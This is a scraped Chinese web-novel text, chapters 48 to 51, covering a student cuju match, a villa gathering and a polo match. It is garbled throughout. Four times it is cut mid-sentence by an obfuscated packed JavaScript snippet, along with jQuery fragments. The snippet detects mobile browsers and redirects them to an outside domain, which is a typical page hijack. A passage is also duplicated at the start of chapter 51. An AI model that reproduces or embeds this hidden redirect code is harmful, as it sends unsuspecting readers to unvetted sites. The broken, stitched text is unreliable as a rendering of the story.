“霍琰。”穿了小厮衣服混进来跟着安王的思卿,看着场中那个身形修长,傲然挺立,一身玄色束身队服的少年,心里悄悄念道。虽然从看台上往场中望过去,看不太清比试两队学子们的脸,但那少年剑眉凤目,一脸自信从容,已经刻在思卿心里。
·
“请多指教。”那叫霍琰的少年看着对面的百里摇光,含笑说道。
百里摇光扬起嘴角,回了个友善的笑,但他的话,却带了点挑衅的意味。
“虽是切磋,但竞技场上我们的目标还是要赢的!”
他回想起训练时,安王曾将了解到的太学蹴鞠队人员的情况告知他们,并与他们分析对战思路。安王提到,太学蹴鞠队中的队长霍琰尤其需要注意,他是京营将领之子,有勇有谋,蹴鞠技艺非常纯熟,是太学二年生,现年十六。
“哦,希望你们有这个实力。”霍琰扬眉回道。
夏清泽对面的太学生,脸有些黑,憨笑着看着他。
夏清泽没搭理他,吊眼瞟了下斜对面的霍琰,心想这人现在张扬,待会场上定要让他知道厉害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800036|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜飒看对面太学学子站得整整齐齐,个个人高马大的,突然感觉自己这边队伍个子参差,站得也不如人家整肃。他斜了斜身子靠近裴逍,嘀咕道,“阿逍,感觉这个太学队不简单啊。”
裴逍也发现了,而且对面的队伍给裴逍的感觉,不像学子,倒像是一列士兵。裴逍低声回道,“嗯,不过我们也不简单。”
姜飒嘻嘻低笑。
祁青阳站在裴逍旁边一个位置。他能来参加比试,是因为姜飒找姜琛软磨硬泡,并且调了专门保护自己的暗卫给祁青阳,承诺确保他的安全,还找了安王来跟姜琛要人,最后姜琛才同意让祁青阳参加训练和蹴鞠比试。他扫了眼对面站得最靠前的霍琰,心道这京中优秀的男儿还真不少。
在他旁边的就是虞砚、严铮,以及其他五名从国子学中选拔出来的蹴鞠队员。
台上裁判宣布,“比试总时长一个时辰,分上下两个半场,中间有一刻钟休息时间,最终以进鞠比分高者为胜!”
“太学学子抽中先手,鼓声结束后先进攻,鸣鼓——”。话音落,鼓声起,鼓声雄浑激荡,场上的学子们热血被激起,仿佛所处的不是校场,而是刀光剑影般的战场。
鼓声中,霍琰接过裁判手中的鞠,放在了脚下。
鼓声停,霍琰已如离弦箭般运鞠过了国子学队的前场,到了百里摇光身边,百里摇光与之周旋夺鞠,霍琰趁势将鞠传给了与他相隔不远,并行的黑脸太学生。黑脸学子接鞠后,带着继续向国子学队伍后方的鞠门冲刺,身后两翼各跟了一个少年。
祁青阳冲去夺鞠,那中间的黑脸学子速度放慢,两翼的少年超过他,向前拦住了祁青阳。而黑脸学子则绕开继续向鞠门冲刺。
夏清泽从侧方,划地而过欲铲走那鞠,却见那少年将鞠踢高,跃了过去。随后,在鞠下落的瞬间,那少年飞起一脚,鞠便向着国子学队伍阵地中的风流眼而来。
正在这时,虞砚助跑弹跳至半空,用胸部将球挡回。
鞠落下,裴逍见机一个俯身后踢腿,赶在黑脸学子之前将鞠踢给了姜飒。姜飒接鞠后,向太学队阵地冲去。
刚进入太学队阵地,他便被四五个太学学子车轮围攻一圈,鞠不知何时便不见了。
“我天,这什么阵法?”姜飒嘀咕道。
他再看去,那鞠已经又被传回给了霍琰。
那霍琰将鞠踢高,腾空跃起,似要一脚射门,百里摇光跃起挡在霍琰射门前进方向,却见那鞠并未向着风流眼方向而来。
“不是射门!”百里摇光暗道不好,果见那鞠未射门,而是向着跟霍琰站位平行的方向去。
黑脸太学生向前助跑几步,踩着两个队友合抱形成的人墩子,凌空跃起,一脚将那鞠踢向了风流眼,“叮铃”一声,鞠穿了过去。
场上观众席中瞬间爆发出轰响呐喊。
“太精彩了!”
“太学队好厉害啊!”
“咱们国子学队也不差啊,拼抢了那么久呢。”
“阵法都能用到蹴鞠场上。老霍,你这儿子比你厉害啊。”看台上的安王与旁边一位身穿武官袴褶的健壮中年男子说道。
“王爷,犬子玩乐而已,不足夸不足夸”。那男子笑着道,他嘴上虽这么说,但眼中的自豪之情却是瞒不住人。
“太学学子记一分,比分一比零!”裁判摇旗喊道。
49. 第49章
被太学队率先攻进一球,国子学队这里人员士气明显有些弱了,百里摇光见状喊了一句,“刚刚开始而已,我们把分拿回来就是!”
“是!”少年们放声齐喊。
观众们都被这声音突然震了一下,太学队十二个少年却不动如山,只盯着黑脸少年脚下的鞠。
黑脸少年动了。他带着鞠仍是携着两翼两个少年向前冲刺,过了姜飒、夏清泽等前场队员,被百里摇光和裴逍两人拦截,传给了祁青阳。祁青阳助跑一段跃起,凌空飞出一脚,那鞠如箭矢般瞬息间就靠近了对方阵地中的风流眼。
对方后场中迅速飞起一个少年,当胸拦球,却被那球带着往后跌落,之前给他搭人梯的队友们已迅速站起搭起手臂接住了那少年。
“训练有素。”裴逍脑中闪过一句。
“青阳力气也太大了。”台上夏慕卿摇着扇子说道。
“是啊,一脚几乎贯穿整个球场,被人拦住,还能带着人往后退。”小厮装扮的思卿附和道。
夏慕卿看了他怪模怪样的妹妹一眼,摇了摇头,看回场中。
那鞠因为这一挡,也未能攻进风流眼,落了地。
太学队队员接到鞠,一个长传将鞠高高踢向在国子学队阵地中的霍琰。
百里摇光见此欲拦截,与霍琰拼抢起来,两人交换了一波身法和鞠技,那鞠被踢至空中。
虞砚搭着一个队友的手梯跃起,将球踢向了夏清泽。
夏清泽见百里摇光被霍琰缠着,姜飒周围一圈三、四个对方队员,便运鞠向着对方阵地盘带,结果被对方防守队员阵法一般围转劫走了鞠,又传给到了来接应的黑脸少年三人组。
三人组过了裴逍和祁青阳,黑脸少年从队友那接鞠后飞起一脚,那鞠便冲着国子学队阵地中的鞠门疾驰而去。
严铮跳起去挡,却见那鞠在他面前,拐了个弯,竟然飞向了霍琰,“是传球!”他喊道。
百里摇光在那鞠拐弯瞬间便有不好的预感,提前做了防备拦球,但终究还是比霍琰动作慢了一点,被霍琰接到鞠,一脚射门踢响了铃。
“太学队再进一分,二比零!”裁判喊道。
·
太学队有鞠权,这次霍琰和黑脸少年各带了一组四个人,作为两翼,向着国子学队阵地飞驰而来。他们平行行动,又有两翼队友帮忙拦人,简直所向披靡,几乎没有太多阻碍地就冲到了腹地。
霍琰将鞠踢向风流眼,站在最后的严铮跃起,凌空转体仗着身长腿长的优势,将鞠踢了出去。裴逍欲接住严铮拦出来的鞠,却被黑脸少年组四人拦截。黑脸少年夺得鞠,又再次向球门发起进攻。
在那鞠堪堪要到风流眼之时,虞砚踩着队友搭的手梯跃起,一头撞开了那鞠。但因为当时情况急,队友们又不像对面有那么好的配合度,虞砚撞开鞠又撞到了球门柱,摔在了地上,一时间摔得眼冒金星,浑身都疼了起来。
黑脸少年只盯着鞠,在那鞠被撞开之后,立马抢到那撞开的鞠,准备再次进攻。
“等等。”霍琰拦住他,黑脸少年这才看到虞砚摔在地上半天没起来,国子学的队员们都在关注他,根本没人看鞠了。
真是个好时机啊,可是这样得分有些胜之不武。那黑脸少年停下了进攻,只用身体各处运着鞠转动不让落地。
虞砚缓了缓,抬头见自己奋力撞开的鞠在那黑脸少年周身转着,喊道,“别管我,你们防守啊!”
夏清泽没好气地道,“防什么防,你怎么样了?”
“我没事,你们快——”
“他们暂停进攻了!”夏清泽打断道。虞砚看了看黑脸少年和霍琰见没有进攻的意思,他头一歪,晕了过去。
这时裁判下来询问情况,找了大夫将虞砚抬下,换了一个候补队员上场。
“谢谢。你们是值得尊敬的对手。”百里摇光走近霍琰,说道。
霍琰轻笑了一声,“拿出最强的实力来,才谈得上尊敬!”
百里摇光扬了扬眉,回到了场中他该站的位置。
·
比试接着开始,鞠权仍在霍琰队手中,他们仍按上次布阵,再次进攻而来。
“果然和阿逍预料的一致。”姜飒心道。
黑脸少年接鞠向前带,对面裴逍带着两个少年直冲而来。双方将要交汇之时,裴逍减速,两侧的少年冲向前拦阻,裴逍趁机将鞠铲走,踢向了姜飒。
姜飒接住那鞠,一边往对方阵地带,一边念叨道,“这叫以彼之道,还施彼身。”
见面前有两人攻来,他飞速向着夏清泽的方向踢出一脚球,太学队的两个防守队员见此,便向夏清泽冲去。不料,那鞠在半空拐了个弯,没有继续向夏清泽的方向去,而是飞向了风流眼。
“曲线鞠可不是只有你们会!”姜飒得意地嘀咕了一句。
眼看那鞠朝着鞠门而去,就要到风流眼了,太学队伍中霍琰借队友搭人梯之力跃起,一脚横扫硬是将那鞠给拦了回来。
谁知,这一轮进攻还没有结束。
那鞠被霍琰拦回,在半空中,被人凌空扫踢一脚,又踢回了太学的鞠门。
“叮铃”一声脆响,风流眼中挂着的铃被撞击得飞起。
观众中爆发出喝彩声。这是国子学队今日拼抢了这么久的第一个进鞠,无论是蹴鞠队的队员员,还是在场边观赛的国子生都大受鼓舞。
原来那鞠是被裴逍踢了进去。
她见霍琰带人行动,猜测那曲线鞠被识破会被他拦截,便拉住祁青阳道“待会将我甩起来”。
祁青阳也看到了霍琰的动作,瞬间明白过来。两人跟着霍琰往太学阵地而去,在那鞠被霍琰踢回瞬间,他握紧裴逍手臂,将她甩起,裴逍便借此力,凌空侧踢一脚,将鞠踢进了鞠门。
“哇,他们俩配合这么好啊。”思卿站在夏慕卿旁忍不住惊叹道。
“这两个人,真是艺高人胆大。”夏慕卿说道。
“国子学队进一分,二比一。比赛上半场时间到。”裁判喊道。
·
两队各自到场边休息。
百里摇光将蹴鞠队员召集到了一起,说道,“下半场我们需要改变下对战策略,对方两头平行传球进攻,又有队员列阵掩护,很难防守,这样我们太被动了。时间有限,我们要用阵法来破,肯定是来不及的了,阵法需要大家长时间一起训
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800037|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练熟悉,养成默契的。我的想法是我们以攻为守。从我们第一个进鞠可以看出,如果我们把主要战场移到他们的阵地中,他们冲刺在外的主力作用就会非常受限,不得不返回防守。而且他们利用阵法,虽然对拼截鞠能力更强,但是灵活性也会不足。”
“所以下半场,我们只留两人在鞠门前,其他人不固定位置,全部可攻可守,且以攻为主。
不过这样对大家的体力要求会更高。下半场还有半个时辰,我们坚持一下。要知道,我们体力不济之时,其实对方也好不到哪里去,就是看双方意志的拼搏了。”
众人道是。
裴逍补充道,“太学队以霍琰和黑脸少年为主要进攻点,盘带射门,其他人是负责辅助这二人以及负责防守的。我们队伍,姜飒、百里摇光、祁青阳都擅长射门,我们的进攻点更多,所以我们接到鞠后,如果有把握一些的,都可以直接射门,不盘带,以免被劫走。如果一个人的鞠被对防守住,要快速反应再补上进攻。而且我们也可以借鉴他们两侧平行交叉带鞠的招式,两人协作进攻。这样灵活进攻,可能会出其不意取胜。”
夏清泽、严铮匆忙去看了眼虞砚,带回来消息,“虞砚的头部被磕到了,所以才会晕倒,不过大夫估计修养一段时间应该就会恢复。大家不用担心。”
·
下半场开始,国子学队便按照方才商量的策略执行。鞠门前留了两个队员防守,其他人全部不固定位置和角色,连严铮也给释放出来。
此轮由裴逍来发鞠。她带着鞠往国子学场地深处跑,见太学队的少年们冲了过来,仍是两翼霍琰和黑脸少年进攻,不过这次只有黑脸少年带了两人,霍琰一人单带,看来他们也猜测到国子学队这边会以进攻为主,所以加强了防守。
裴逍在霍琰和黑脸少年两拨人员攻来之时,再一次借祁青阳手臂之力甩起,将鞠飞踢给了在最前侧翼,无人盯防的夏清泽。
夏清泽接到鞠后没有传球,直接一脚将鞠踢向了对方鞠门,那鞠“哐当一声”撞在了鞠门门柱之上,弹了回来。
百里摇光踩着严铮搭的手梯,借力跃起,趁势补了一脚,将鞠踢进了风流眼。
比分追平。
·
霍琰看着拦住自己不能去追击百里摇光的裴逍,道,“这就是你们的策略?以攻为守?”
裴逍扬了下嘴角,没有回应。
接下来由百里摇光发鞠。他带着鞠冲向对方阵地,连过两人,在霍琰与他拼抢之时,将鞠传给了在侧面平行前进的裴逍。裴逍接到鞠,运着鞠继续向前冲。
“这不是霍——太学队的平行交叉带球吗?”思卿道。
“是啊,他山之石,可以攻玉嘛。”夏慕卿回道,看了一会,他又道,“看来不止,是青出于蓝。”
原来裴逍在黑脸少年雁阵掠来之时,将鞠又传向了在场上另一侧稍前一点的祁青阳,形成了三角交叉带球。祁青阳一个斜后劈腿将鞠踢向了风流眼,因为他力气大,此次又已经到了太学队阵地里,离鞠门更近,是以那鞠速度极快,太学队根本来不及搭人梯起跳拦截,那风流眼中的铃就已经被撞响了。
比分反超。
50. 第50章
祁青阳带鞠冲进对方阵地,仍与裴逍、百里摇光形成三角攻势。
但他冲入对方阵地,却被对方三人围住,不得突破,而裴逍和百里摇光也各自被三人围住,他没法传鞠。
正在他分神之时,那鞠被霍琰划地铲走,踢给了黑脸少年。
黑脸少年带鞠往国子学阵地而去。
夏清泽和姜飒两人从不同方向划地欲铲走那鞠,黑脸少年将鞠踢高,打算跃起躲过两人的进攻之后,接走鞠再往前带。孰料他将那鞠踢高到半空以后,却被严铮拦截。
只见严铮跳起老高,一头将鞠又撞回了太学队阵地。
霍琰踩着队友手梯跃起飞扫一腿,欲将那鞠踢向国子学队中的球门。
而这时,百里摇光见状,在围着他的一个太学队少年腿上踩了一下,也借力跃起一计扫腿,要将那鞠向相反方向踢去。
“哇,太刺激了!”观众中有学子叹道。
两个体型挺拔、身手矫健的少年迎面对抗,凌空向相反方向击鞠,仿佛两人在对打一番,让人看得血脉喷张,有的学子甚至不自觉地站了起来,想看看是哪个少年更胜一筹,惹来后面被挡的学子骂声一片。
没想到两人势均力敌,那鞠在两人长腿两个方向的包夹下,寸步都动不了。随着二人下落,鞠落了地,被下面离得最近的太学队员铲走,踢向了国子学阵地。
黑脸少年用胸部停鞠后带着那鞠冲锋,过了姜飒和夏清泽,又矮身躲过了严铮,将鞠踢向风流眼。
国子学队在最后的两个防守队员没防住,那鞠穿过了风流眼。
“太学队,进一分,两队三比三平。”
·
双方实力不相上下,比试争持得非常激烈,比分也咬得非常死,两队队员体力也逐渐开始不济。
一直到比试马上就要结束,双方比分仍不分高下。
这时,两方队员都咬紧牙关,振奋精神,努力在这最后时刻,争得一分。
百里摇光和霍琰在国子学阵地之中拼抢,夏清泽趁机划地铲走鞠,传给了姜飒。
裴逍、祁青阳和严铮拦住了要去劫鞠的黑脸少年组三人。
至此,太学队两大主力攻击点都被国子学队员暂时限制住。
姜飒飞起一脚,那鞠便射向了太学队重重防守的球门,太学队队员借力跃起拦球,却见那球在面前拐了方向,向场边另一侧飞去。
“是曲线鞠!”“防守鞠门!”黑脸少年和霍琰同时喊道。
“晚了!”姜飒已跑到那鞠转向后的路线上,一脚踢出,那鞠再次向风流眼而去。
“你猜我这次是直的还是曲的?”姜飒笑道。
太学队员听到霍琰和黑脸少年提醒,出于谨慎,再次跃起一组人员防守。在跳起时,那鞠堪堪擦过太学蹴鞠队防守球员的脑袋,向风流眼飞掠而去。
“叮铃——”
“比试时间到!”鞠穿过风流眼的瞬间,裁判宣布比试结束。
“六比五,国子学队胜!”
·
“恭喜你们。”霍琰含笑看着百里摇光,道了声贺。
百里摇光抱了抱拳,回道,“多谢,与你们这场鞠赛真是畅快!”
霍琰带着太子学队员转身离去,那些少年却也并没有很沮丧,互相搭肩说笑而去。
“胜不骄,败不馁。不错不错,老霍,你这儿子是个将才啊!”安王看着那群少年与旁边的中年男子说道。
“将不将才的我也不指望,我只想他平平安安做个文官就好。”那中年男子沉默了一会,回应道。
安王闻声也没再说话,许久后叹了口气。
·
“走走走,到我家别院庆祝去,都去都去!”夏清泽一手揽着姜飒,一手揽着严铮,与百里摇光、裴逍等其他队员说道。
裴逍张嘴刚准备推辞,就见夏清泽那吊眼射来,“你不去?是不是还记恨我之前戏弄你呢?”
“额”,裴逍已经到嘴边的话当即被堵了回去。
姜飒脱离夏清泽的胳臂,窜过裴逍这边来,说道,“走嘛走嘛一起去嘛。”
见此裴逍也不好再推辞,便同众人一道去了平王府在京郊的别院,是在终南山上。众人上午一番奔跑拼抢,此时体力消耗殆尽,也都放弃骑马,瘫坐在几辆马车上晃晃悠悠上山去了。夏慕卿乘了自家马车也跟着前去,裴逍、百里摇光和祁青阳坐上了他的马车。姜飒也跟着挤了进来。
众人一进入别院,接近大堂,便听到里面传来女子嬉闹的声音,
“王爷,你来追我呀”
“王爷,我在这呢。”
又一声低沉萎靡的男子声音响起,“美人,美人,你们在哪呢?”
......
夏清泽停住脚步,脸色阴沉,旁边少年也都赶紧刹住,或神色不安或尴尬地偷偷观察夏清泽的反应。
“去后院泡汤池去!”夏清泽转身走向侧面月门,领着众少年沿着小径往后院而去。
他心里懊恼,本想着今日父王应该是在府中,才带同窗们来别院,没想到正好撞上,父王荒淫好色,虽然京中人人皆知,但亲眼带着同窗们撞见,这实在是太丢脸、太不堪了。其他少年们见此情形,也都不好说什么,乖乖地跟在后面。
少年们先前比试蹴鞠踢得汗涔涔的,此时泡个温汤正好,更何况还是在这山清水秀的京郊别业中。只有裴逍心中忧虑,如何能避开。
他们一路行至一进院子,刚一进去,便见蜿蜒汤池布于院中,水汽氤氲其上。
夏清泽一吩咐,便有侍女仆从出来领着众少年们到两侧的房舍内更换衣物。
裴逍几人进了东厢的房舍,少年们三下五除二地开脱了,裴逍躲在角落里,背对着众人,慢吞吞地解外袍的第二颗扣子解了许久。
“阿逍,你怎么这么慢?”姜飒穿着中衣走了过来。
“我突然腹痛,怕是患了下利,你们先去。”裴逍说着捂着肚子跑了出去。
门口便有侍女在等着,裴逍问了茅厕的位置,往那快步行去。幸而这茅厕中暂时无人,砖砌的格挡隔出来几个位置,每个位置中有漆木马桶,还挂了香薰。裴逍便在这里待了许久,琢磨着众人估计沐浴得差不多了,方才仍捂着肚子,缓缓往那换衣服的房舍走去。回去的路上,虽不经过那汤池,但少年们泡汤闲聊的声音不绝于耳。
突然听到她自己的名字,裴逍竖起了耳朵,“裴逍怎么还不来?”百里摇光的声音。
“怕是腹痛走肚还没好吧。”姜飒道。
“额,要是这样的话,还是别来了。别再着了风寒加重了。”夏慕卿道。
“切,你是怕阿逍走肚弄脏了池子吧?看你躲那么远,好像我们都患有恶疾,要染了你似的。”姜飒说道。
随即百里摇光和祁青阳的笑声响了起来。
裴逍莞尔,如此正好。她回到那房舍,里面有张床榻,她倒在上面,仍旧捂着肚子,蜷缩着,装作一副在腹痛的样子,小憩起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800038|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
众人回来见她如此,只当是她身体不舒服,也没多想。
·
少年们沐浴结束,夏清泽领着众人出了这院落,沿着青石小径,来到一处厅堂,厅堂一侧临水,中有一条路,延伸到池中亭子。
别院中养了散乐人,这时,夏清泽叫了别院中管事的来,点了《兰陵王入阵曲》的歌舞戏,这戏目是往常便在排演练习的,是以他们很快便准备好,在亭子中表演起来。
少年们在这面吃喝闲聊,没几个在认真看的,不过是应个景而已。
戏刚演完,别院仆从领了一群姑娘排了一排,列于众少年的面前,少年们心中讶异,纷纷停下手头动作,看了过来。
“这是做什么?”夏清泽语气不善问道。
“世子,这是王爷听说您带了同窗公子们来游玩,特意安排了姑娘们来给您们庆贺的。”那仆从眉毛眼睛乱舞,谄媚说道。
“啪嚓”一声脆响,一个茶杯被夏清泽掷了出去,落到那排姑娘们面前碎裂开,弹起了一些瓷片。最靠近的一个姑娘,被吓到,轻轻惊叫一声,往后跳了一步。
“滚!”夏清泽看着那碎片,阴沉着脸道。
“世子——”那仆从还没太反应过来,本能地想再争取一番,刚出声就被夏清泽打断。
“我说滚!”
那仆从不敢再辩驳,赶忙道着“世子息怒,世子息怒”,然后招呼着姑娘们离开。
其他少年们见此,都安静如鸡,台上还没撤走的散乐人站在台侧也不敢出声。
夏清泽看向台上,道“继续唱!”而后,起身沿着亭廊走远了。
少年们才出了口气,台上的散乐人因为平王世子没点新的戏目,不敢擅自换,便又重新演起了刚才那戏。
“平王也太荒唐了。”姜飒倚靠着桌子,以手撑腮,漫不经心地说道。
“确实。”百里摇光应道。
夏慕卿轻嗤了一声道,“我都没那么嫌弃我家老头了。”
祁青阳笑了笑,仍将注意力放在了戏台上。
裴逍没说什么,心里也对平王所为甚是不屑。
后面的少年们也小声议论起来。
“真是世风日下啊,当爹的给儿子安排青楼女子。”
“我爹要是在我同窗来府上时,找了一群烟花女子来陪,我都不想再去书院见人了。”
“而且还是亲王,身为皇亲贵胄,却如此行事。”
“真的传言非虚啊。”
......
没过多久,夏清泽便回来了,脸色好了许多,虞砚跟在他旁边,跟他说笑着什么,看起来已经没有大碍了。
·
少年们又坐了会,一个穿了华丽蓝色锦袍的男子走了来,身后跟了些许男女仆从,男子长眉似柳,一双丹凤长眼半眯着,唇角自然上翘,便是没笑时也像是在笑。
“平王来了。”姜飒小声道了一句。多数少年已经起身,准备行礼。
裴逍跟着起身,心里道,这男子形貌俊美,身形高逸,真想不到平日里竟是那般行径。
少年们作揖行礼道,“平王殿下。”
“不必多礼。”平王笑着走近,看着还赖在座位上未起的夏清泽,温和道,“想不想看击鞠赛?”
夏清泽猛地看向他,眼里闪过神采。
“那走吧。承蒙诸位小泽的同窗平日里对他的关照,今日请诸位一同到山下安乐侯的别业里看击鞠赛,诸位可愿同行?”
51. 第51章
没过多久,夏清泽便回来了,脸色好了许多,虞砚跟在他旁边,跟他说笑着什么,看起来已经没有大碍了。
少年们又坐了会,一个穿了蹙金云锦天青圆领袍的男子走了来,身后跟了些许男女仆从。男子约莫三十上下的年纪,长眉似柳,一双丹凤长眼半眯着,唇角自然上翘,便是没笑时也像是在笑。
“平王来了。”姜飒小声道了一句。多数少年已经起身,准备行礼。
裴逍跟着起身,心道,这男子形貌俊美,身形高逸,真想不到平日里竟是那般行径。
少年们作揖行礼道,“平王殿下。”
“不必多礼。”平王笑着走近,看着还赖在座位上未起的夏清泽,温和道,“想不想看击鞠赛?”
夏清泽猛地看向他,眼里闪过神采。
“那走吧。承蒙诸位小泽的同窗平日里对他的关照,今日请诸位一同到山下安乐侯的别业里看击鞠赛,诸位可愿同行?”
少年们兴奋起来,几乎没有不愿的。
他们一道乘车马下了山,进了安乐侯的别业。
·
别业占地广大,纵使其中人流如织,也并不显得拥挤。
庭院中有赏花宴,他们一行穿过盛放的各色牡丹名品,竟碰到了夏思卿和林曦月。
两位姑娘本就长得俏丽,此时因参加宴会又比往常用心打扮了几分,头上还簪了娇艳的牡丹花,吸引了园中诸多仕女少年的目光。都不用平王这个皇叔和夏清泽这个堂兄邀请,蹴鞠队的其他少年已经盛情相邀,夏思卿和林曦月见慕卿他们几人在队伍里,便欣然加入了。
她们二人与裴逍几人招呼见礼后,思卿一脸不满地问慕卿,“哥,你咋都不邀请我们来?”
“这不多的是人邀请你们吗?”慕卿无所谓地调侃道。
思卿轻哼了一声,扭头不再理会她兄长。
安乐侯引着平王一路向别业深处而去,裴逍等人跟在后面,一直进了处开阔的马球场。
马球场的一侧正对看台,其余三侧由矮墙围成,整个马球场长约有五百步,可容纳数百人观赛。球场中间设置了一尺见方的球门,两侧骑手,身穿骑服,手持月牙球杖,高坐于马上,正在等候比赛开始的号令。
此时,看台上设置的坐席多数都已满了,击鞠赛即将开始,众人跟着平王落座到看台中央靠前预留出的空位。刚坐下没多久,便听到看台东边一处传来骚乱吵闹声。
“哟,这是怎么了?”平王一副戏谑的语气轻飘飘问道。
那安乐侯脸色不虞,吩咐管家速去处理。
裴逍往那骚乱处看去,见似乎是两拨少年在争执。这时,夏思卿不知看到了什么,当即起身往那处走去,林曦月也起身跟上了她。
“不跟去看看吗?”百里摇光问夏慕卿。
夏慕卿无奈叹了口气,收了折扇,起身也往那处走。裴逍几人见此,也都跟了过去。
他们走到近前,听到思卿高声道,“他们是我邀请来观赛的,怎么?不行吗?”
在她对面,一位身穿翠绿华服的高个少年,冷笑着道,“郡主是敝府贵宾,您邀请宾客前来,自是令敝宅蓬荜生辉。只是这几人都是京中一些粗粝的低阶官员子嗣,且还是些男子,如何能是郡主邀来的宾客?”说到这,他故意停了下来,不怀好意地看了思卿一眼,又看向四下里观赛的人群,似乎在暗示些什么,等人群里交头接耳响起议论声,他方才接着道,“在下也是担心郡主被一些低贱恶徒所蒙蔽啊。”
“你胡说八道什么?”他对面一个相貌普通的少年愤怒道,那少年待要再说,被他边上一人拉住,停了口。
而那人穿了一件月白窄袖圆领袍,挺拔俊朗,剑眉凤目,却是裴逍他们今日蹴鞠比试时,方才交手过的太学队的霍琰。认出了霍琰,再一细看,在他身边的几个少年都是今日蹴鞠比试时太学队的队员,那位鞠技很不错的黑脸少年也在其中。
霍琰向那华服少年拱手道,“小侯爷莫怪,我等几人是因喜击鞠,听闻府上有击鞠赛,便想来一观,不知府上规矩,有所冲撞,还请担待。我们这就离开。”
说完,他拉着方才那发怒的少年便要离场,思卿急追上几步,冲霍琰背影喊道,“别走!”
霍琰停住脚步,四下里嘀咕议论声响起,众人看向思卿和霍琰二人的眼神越来越奇怪。他们二人,一人贵为亲王郡主,一人只是四品京营武官之子,按理不是一个圈层,且思卿待字闺中,霍琰乃是外男,思卿在此种场合下,公然维护霍琰,在时下,难免与礼不合。
霍琰抬眸扫了眼周遭,回身行礼道,“多谢郡主出言解围。我等只是偶然帮助过郡主,不足挂齿。此次惊扰了诸位观赛,实在是罪过,我等这就离开。”
霍琰一番言语,旨在澄清二人关系,维护思卿清誉。思卿自然也明白,她待要再开口,慕卿拽住她的衣袖,轻摇了摇头。
这时,百里摇光突然道,“走什么走!我叫你们来观赛的,还没开始你们就走了,这么不给面子吗?”说着,他走上前,拉住霍琰便往他们过来的方向走。霍琰当即明白,百里摇光是替他们解围,没再多言,只回头示意他的队友跟上。
那华服少年当然认得百里摇光,见百里摇光丝毫不理会他,就为那几个低阶官员子嗣解围开脱,将他晾在那,他脸上挂不住,一甩衣袍带着家丁离开了。
思卿没好气地瞅了他一眼,跟着回了看台中央。
周围的人见热闹平息,也都收回了目光,但今日一场,在私下里会传成什么样,就不知了。
平王早从那安乐侯和家仆的反应中大致了解了情况,此时见多了几个少年回来,与那安乐侯道,“这几个小友都是我一起邀来的,加几个位置。”
安乐侯连连称是,吩咐仆从在看台中央多置了几把椅子。
百里摇光带着霍琰几人入座,球场上鼓声响起,四围里红色旗帜招展,两侧骑手纵马向场中奔驰争夺那皮质鞠球,击鞠赛开始了。
他们这年纪的少年,最是对这种活动感兴趣,比赛一开始,所有人的注意力都放到了那球场上。
当中唯有一人例外,那就是思卿。倘若今日霍琰没在,她定然也是全程专注在击鞠赛上的,可今日霍琰就坐在不远处,她忍不住时不时地便往霍琰那里看上几眼,惹得曦月连连低声笑她。
就连慕卿也看出来了,不时看他妹妹一眼,而后无奈地摇摇头。
一直到击鞠赛结束,少年们仍旧意犹未尽地讨论着。
出了别业,众人各自道别。
霍琰对百里摇光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800039|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拱了拱手,笑着道,“多谢少将军解围。”
百里摇光摆了摆手,“这算什么,找机会我们一起蹴鞠几场才是正途。”
少年们说笑了一阵,各自打道回府。
·
蹴鞠比试后,安王见蹴鞠队员中,百里摇光和祁青阳表现优秀,孔武有力,将这两个强拉进了端午龙舟赛的队伍里。有姜飒和安王的两重保证,姜琛也没再坚持将祁青阳关在刑部大牢中以保护他的安全。就连裴逍,也被安王拉去做了龙舟上的旗手。三人每天联社活动时间又需要去参加赛龙舟训练,忙得不可开交。
五月初五一早,裴逍穿好龙舟竞渡国子学队统一的白色短缀衣,打开门,一阵药草清香扑鼻。这香气是由门上院工所挂的艾草和菖蒲散发出来的。
长空万里无云,裴逍站在门前活动了活动身体,听到对面门开的声音,抬头看去,见姜飒打着哈欠走了出来。
